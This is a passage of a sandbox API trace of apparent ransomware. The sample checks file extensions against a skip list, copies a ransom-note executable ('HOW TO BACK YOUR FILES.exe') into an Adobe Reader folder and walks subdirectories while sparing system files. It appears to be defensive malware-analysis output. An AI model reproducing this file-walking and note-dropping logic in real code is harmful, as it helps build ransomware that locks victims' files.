	[0059.963] lstrlenW (lpString="accdw") returned 5
	[0059.963] lstrcmpiW (lpString1=".asfx", lpString2="accdw") returned -1
	[0059.963] lstrlenW (lpString="accft") returned 5
	[0059.963] lstrcmpiW (lpString1=".asfx", lpString2="accft") returned -1
	[0059.963] lstrlenW (lpString="adb") returned 3
	[0059.963] lstrcmpiW (lpString1="sfx", lpString2="adb") returned 1
	[0059.963] lstrlenW (lpString="adb") returned 3
	[0059.963] lstrcmpiW (lpString1="sfx", lpString2="adb") returned 1
	[0059.963] lstrlenW (lpString="ade") returned 3
	[0059.963] lstrcmpiW (lpString1="sfx", lpString2="ade") returned 1
	[0059.963] lstrlenW (lpString="adf") returned 3
	[0059.963] lstrcmpiW (lpString1="sfx", lpString2="adf") returned 1
	[0059.963] lstrlenW (lpString="adn") returned 3
	[0059.963] lstrcmpiW (lpString1="sfx", lpString2="adn") returned 1
	[0059.963] lstrlenW (lpString="adp") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="adp") returned 1
	[0059.964] lstrlenW (lpString="alf") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="alf") returned 1
	[0059.964] lstrlenW (lpString="ask") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="ask") returned 1
	[0059.964] lstrlenW (lpString="btr") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="btr") returned 1
	[0059.964] lstrlenW (lpString="cat") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="cat") returned 1
	[0059.964] lstrlenW (lpString="cdb") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="cdb") returned 1
	[0059.964] lstrlenW (lpString="ckp") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="ckp") returned 1
	[0059.964] lstrlenW (lpString="cma") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="cma") returned 1
	[0059.964] lstrlenW (lpString="cpd") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="cpd") returned 1
	[0059.964] lstrlenW (lpString="dacpac") returned 6
	[0059.964] lstrcmpiW (lpString1="s.asfx", lpString2="dacpac") returned 1
	[0059.964] lstrlenW (lpString="dad") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="dad") returned 1
	[0059.964] lstrlenW (lpString="dadiagrams") returned 10
	[0059.964] lstrcmpiW (lpString1="vices.asfx", lpString2="dadiagrams") returned 1
	[0059.964] lstrlenW (lpString="daschema") returned 8
	[0059.964] lstrcmpiW (lpString1="ces.asfx", lpString2="daschema") returned -1
	[0059.964] lstrlenW (lpString="db-journal") returned 10
	[0059.964] lstrcmpiW (lpString1="vices.asfx", lpString2="db-journal") returned 1
	[0059.964] lstrlenW (lpString="db-shm") returned 6
	[0059.964] lstrcmpiW (lpString1="s.asfx", lpString2="db-shm") returned 1
	[0059.964] lstrlenW (lpString="db-wal") returned 6
	[0059.964] lstrcmpiW (lpString1="s.asfx", lpString2="db-wal") returned 1
	[0059.964] lstrlenW (lpString="dbc") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="dbc") returned 1
	[0059.964] lstrlenW (lpString="dbs") returned 3
	[0059.964] lstrcmpiW (lpString1="sfx", lpString2="dbs") returned 1
	[0059.965] lstrlenW (lpString="dbt") returned 3
	[0059.965] lstrcmpiW (lpString1="sfx", lpString2="dbt") returned 1
	[0059.965] lstrlenW (lpString="dbv") returned 3
	[0059.965] lstrcmpiW (lpString1="sfx", lpString2="dbv") returned 1
	[0059.965] lstrlenW (lpString="dbx") returned 3
	[0059.965] lstrcmpiW (lpString1="sfx", lpString2="dbx") returned 1
	[0059.965] lstrlenW (lpString="dcb") returned 3
	[0059.965] lstrcmpiW (lpString1="sfx", lpString2="dcb") returned 1
	[0059.965] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal"
	[0059.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0059.965] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0059.965] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned 53
	[0059.965] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal"
	[0059.965] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0059.965] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0059.971] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0059.971] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bd21970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bd21970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0059.971] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.971] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0059.971] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0059.971] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bd21970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bd21970, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0059.971] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.971] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0059.971] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0059.971] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0059.971] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2=".") returned 1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2="..") returned 1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2="windows") returned -1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2="bootmgr") returned 1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2="temp") returned -1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2="pagefile.sys") returned -1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2="boot") returned 1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2="ids.txt") returned -1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2="ntuser.dat") returned -1
	[0059.971] lstrcmpiW (lpString1="CAT", lpString2="perflogs") returned -1
	[0059.972] lstrcmpiW (lpString1="CAT", lpString2="MSBuild") returned -1
	[0059.972] lstrlenW (lpString="CAT") returned 3
	[0059.972] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*") returned 55
	[0059.972] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CAT" | out: lpString1="CAT") returned="CAT"
	[0059.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0059.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5917c0
	[0059.972] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0059.972] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="Apollon865.txt.exe") returned 1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2=".") returned 1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="..") returned 1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="windows") returned -1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="bootmgr") returned 1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="temp") returned -1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="pagefile.sys") returned -1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="boot") returned 1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="ids.txt") returned -1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="ntuser.dat") returned -1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="perflogs") returned -1
	[0059.972] lstrcmpiW (lpString1="CHS", lpString2="MSBuild") returned -1
	[0059.972] lstrlenW (lpString="CHS") returned 3
	[0059.972] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT") returned 57
	[0059.972] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CHS" | out: lpString1="CHS") returned="CHS"
	[0059.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0059.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591840
	[0059.972] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0059.972] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1
	[0059.972] lstrcmpiW (lpString1="CHT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.972] lstrcmpiW (lpString1="CHT", lpString2="Apollon865.txt.exe") returned 1
	[0059.972] lstrcmpiW (lpString1="CHT", lpString2=".") returned 1
	[0059.972] lstrcmpiW (lpString1="CHT", lpString2="..") returned 1
	[0059.972] lstrcmpiW (lpString1="CHT", lpString2="windows") returned -1
	[0059.973] lstrcmpiW (lpString1="CHT", lpString2="bootmgr") returned 1
	[0059.973] lstrcmpiW (lpString1="CHT", lpString2="temp") returned -1
	[0059.973] lstrcmpiW (lpString1="CHT", lpString2="pagefile.sys") returned -1
	[0059.973] lstrcmpiW (lpString1="CHT", lpString2="boot") returned 1
	[0059.973] lstrcmpiW (lpString1="CHT", lpString2="ids.txt") returned -1
	[0059.973] lstrcmpiW (lpString1="CHT", lpString2="ntuser.dat") returned -1
	[0059.973] lstrcmpiW (lpString1="CHT", lpString2="perflogs") returned -1
	[0059.973] lstrcmpiW (lpString1="CHT", lpString2="MSBuild") returned -1
	[0059.973] lstrlenW (lpString="CHT") returned 3
	[0059.973] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS") returned 57
	[0059.973] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CHT" | out: lpString1="CHT") returned="CHT"
	[0059.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0059.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5918c0
	[0059.973] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0059.973] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="Apollon865.txt.exe") returned 1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2=".") returned 1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="..") returned 1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="windows") returned -1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="bootmgr") returned 1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="temp") returned -1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="pagefile.sys") returned -1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="boot") returned 1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="ids.txt") returned -1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="ntuser.dat") returned -1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="perflogs") returned -1
	[0059.973] lstrcmpiW (lpString1="CZE", lpString2="MSBuild") returned -1
	[0059.973] lstrlenW (lpString="CZE") returned 3
	[0059.973] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT") returned 57
	[0059.973] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="CZE" | out: lpString1="CZE") returned="CZE"
	[0059.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0059.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591940
	[0059.973] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0059.974] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="Apollon865.txt.exe") returned 1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2=".") returned 1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="..") returned 1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="windows") returned -1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="bootmgr") returned 1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="temp") returned -1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="pagefile.sys") returned -1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="boot") returned 1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="ids.txt") returned -1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="ntuser.dat") returned -1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="perflogs") returned -1
	[0059.974] lstrcmpiW (lpString1="DAN", lpString2="MSBuild") returned -1
	[0059.974] lstrlenW (lpString="DAN") returned 3
	[0059.974] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE") returned 57
	[0059.974] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="DAN" | out: lpString1="DAN") returned="DAN"
	[0059.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0059.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5919c0
	[0059.974] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0059.974] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="Apollon865.txt.exe") returned 1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2=".") returned 1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="..") returned 1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="windows") returned -1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="bootmgr") returned 1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="temp") returned -1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="pagefile.sys") returned -1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="boot") returned 1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="ids.txt") returned -1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="ntuser.dat") returned -1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="perflogs") returned -1
	[0059.974] lstrcmpiW (lpString1="DEU", lpString2="MSBuild") returned -1
	[0059.975] lstrlenW (lpString="DEU") returned 3
	[0059.975] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN") returned 57
	[0059.975] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="DEU" | out: lpString1="DEU") returned="DEU"
	[0059.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0059.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591a40
	[0059.975] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0059.975] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="Apollon865.txt.exe") returned 1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2=".") returned 1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="..") returned 1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="windows") returned -1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="bootmgr") returned 1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="temp") returned -1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="pagefile.sys") returned -1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="boot") returned 1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="ids.txt") returned -1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="ntuser.dat") returned -1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="perflogs") returned -1
	[0059.975] lstrcmpiW (lpString1="ENU", lpString2="MSBuild") returned -1
	[0059.975] lstrlenW (lpString="ENU") returned 3
	[0059.975] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU") returned 57
	[0059.975] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="ENU" | out: lpString1="ENU") returned="ENU"
	[0059.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0059.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591ac0
	[0059.975] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0059.975] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1
	[0059.975] lstrcmpiW (lpString1="ESP", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.975] lstrcmpiW (lpString1="ESP", lpString2="Apollon865.txt.exe") returned 1
	[0059.975] lstrcmpiW (lpString1="ESP", lpString2=".") returned 1
	[0059.975] lstrcmpiW (lpString1="ESP", lpString2="..") returned 1
	[0059.975] lstrcmpiW (lpString1="ESP", lpString2="windows") returned -1
	[0059.975] lstrcmpiW (lpString1="ESP", lpString2="bootmgr") returned 1
	[0059.975] lstrcmpiW (lpString1="ESP", lpString2="temp") returned -1
	[0059.976] lstrcmpiW (lpString1="ESP", lpString2="pagefile.sys") returned -1
	[0059.976] lstrcmpiW (lpString1="ESP", lpString2="boot") returned 1
	[0059.976] lstrcmpiW (lpString1="ESP", lpString2="ids.txt") returned -1
	[0059.976] lstrcmpiW (lpString1="ESP", lpString2="ntuser.dat") returned -1
	[0059.976] lstrcmpiW (lpString1="ESP", lpString2="perflogs") returned -1
	[0059.976] lstrcmpiW (lpString1="ESP", lpString2="MSBuild") returned -1
	[0059.976] lstrlenW (lpString="ESP") returned 3
	[0059.976] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU") returned 57
	[0059.976] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="ESP" | out: lpString1="ESP") returned="ESP"
	[0059.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0059.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591b40
	[0059.976] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0059.976] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="Apollon865.txt.exe") returned 1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2=".") returned 1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="..") returned 1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="windows") returned -1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="bootmgr") returned 1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="temp") returned -1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="pagefile.sys") returned -1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="boot") returned 1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="ids.txt") returned -1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="ntuser.dat") returned -1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="perflogs") returned -1
	[0059.976] lstrcmpiW (lpString1="EUQ", lpString2="MSBuild") returned -1
	[0059.976] lstrlenW (lpString="EUQ") returned 3
	[0059.976] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP") returned 57
	[0059.976] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="EUQ" | out: lpString1="EUQ") returned="EUQ"
	[0059.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0059.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591bc0
	[0059.976] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0059.976] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1
